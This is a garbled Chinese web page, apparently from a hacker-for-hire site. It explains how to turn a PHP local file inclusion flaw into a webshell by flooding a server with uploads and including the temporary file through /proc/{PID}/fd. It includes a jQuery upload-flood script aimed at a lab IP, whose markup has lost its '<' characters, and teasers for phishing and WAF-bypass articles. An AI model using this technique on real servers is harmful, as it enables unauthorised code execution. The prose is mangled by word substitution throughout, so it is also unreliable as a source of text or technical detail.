把PHP LFI缝隙变为Webshell的形式

访客6年前黑客资讯1033

存眷PHP缝隙的同伙必定知道LFI+phpinfo可以搞出一个webshell。 LFI这个条件还算异常,但phpinfo这个照样比较难凑的,所以有点鸡肋。接下来,我共享一个……异常鸡肋的思绪……人人先把屠刀放下!当然鸡肋,但思绪照样值得探求的。
原由是一篇老外写的文章,读完后创造他的思绪或许可以和PHP LFI联合。 文章后边写Java那段确实就是意淫,然则起先说到当linux进程访问一个文件的时间会在/proc/{PID}/fd/下创建一个文件描绘符来指向被访问的文件。比如/proc/1234/fd/5会指向/tmp/tmpXXX。而假设你cat proc/1234/fd/5,就会看到/tmp/tmpXXX的内容。而我们知道,向任何php剧本发送上传文件的乞求,php都邑创建一个暂时文件来保存上传确当内容,当php剧本实行中止才删去这个暂时文件。那末当创建暂时文件的时间,必定会创建呼应的文件描绘符。假设我们能找到对应的文件描绘,应当就可以经由进程文件包含完结webshell了。一初步我想难点是猜出PID和文件描绘符编号,PID异常往常是几千,apache进程的文件描绘符编号异常往常就只在1-20之间,所以理论上暴力破解真实不难。起先我创造真实搞定PID和文件描绘符编号要比想象中简略得多。
实验步骤我就写得简练一点了。
首先,我们必要赓续上传文件到随意率性php剧本,这个文件更好还大一些。我用的是一个或许4mb的文件,彷佛上传文件有大小限制,太大的文件我没有实验成功,也没有穷究。然后就是写个法度赓续上传这个文件就好,我用的是jquery+HTML。更志向一点应当是用python/java跑多线程。如下是源代码:
html>body> script src="https://code.jquery.com/jquery-1.10.2.js">script>form id="form" action="http://192.168.174.128/Default.php" method="post" enctype="multipart/form-data">input type="file" name="test">input type="submit">form> script>$( "form" ).submit(function( event ) {    uploadFiles(event);    return;});var files;$('input[type=file]').on('change', prepareUpload);function prepareUpload(event){  files = event.target.files;}function uploadFiles(event){  event.stopPropagation();     event.preventDefault();    var data = new FormData();    $.each(files, function(key, value)    {        data.append(key, value);    });    var i=0;    for(;i1000;i++){        $.ajax({            url: 'http://192.168.174.128/Default.php',            type: 'POST',            data: data,            cache: false,            dataType: 'json',            processData: false,             contentType: false,             success: function(data, textStatus, jqXHR)            {                if(typeof data.error === 'undefined')                {                    submitForm(event, data);                }                else                {                    console.log('ERRORS: ' + data.error);                }            },            error: function(jqXHR, textStatus, errorThrown)            {                console.log('ERRORS: ' + textStatus);            }        });        //wait(100);    }}function wait(ms){   var start = new Date().getTime();   var end = start;   while(end      end = new Date().getTime();  }}script>body>html>
工作截图:

工作后可以在服务器上看到如下效果:

[1] [2]  黑客接单网

相关文章

下一代网络钓鱼技术——滥用Azure信息保护功能-黑客接单平台

在这篇文章中,咱们将从攻击者的视点介绍怎么运用Azure信息维护(Azure Information Protection,AIP)来改善网络垂钓技能。这个主意是在一次测验作业进程中发生的,其时我正在...

可能是史上最先进的歹意广告进犯:一个Banner就感染了上百万PC,yahoo、MSN等大型网站

一个广告Banner,不需要什么交互就或许让你的PC感染歹意程序,是不是感觉很牛掰?听说就现在为止,现已有上百万PC因为这样的原因被感染。并且许多大型网站好像都中招了,其间就包含yahoo和MSN,假...

自己着手打造Fiddler挖洞插件

关于一个Web开发人员来说,Fiddler并不生疏。作为一款Web调试利器,它具有强壮的调试功用,灵敏的装备以及丰厚的可扩展功用。我在开发工作中,最喜爱的便是它的Inspectors和AutoResp...

探寻如何绕过WAF的XSS检测机制-黑客接单平台

一、前语 本文提出了一种清晰界说的办法,即通过勘探假定出检测歹意字符串的规矩并编写Payload,来绕过跨站脚本进犯(XSS)的安全防备机制。咱们提出的办法共包含三个阶段:确认Payload结构、勘探...

TrickBot银行木马归来突击全球金融机构

一、布景 最近国外安全研究人员发现TrickBot银行木马最新的样本,深服气EDR安全团队对此事进行了相关跟进,获取到了相应的样本,并对样本进行了详细剖析,承认此样本为TrickBot银行盗号木马的最...

Modbus TCP流量剖析

Modbus协议 Modbus是全球第一个真实用于工业现场的总线协议,ModBus选用主/从(Master/Slave)方法通讯。最大可支撑247个隶属控制器,但实践所支撑的隶属控制器数还得由所用通讯...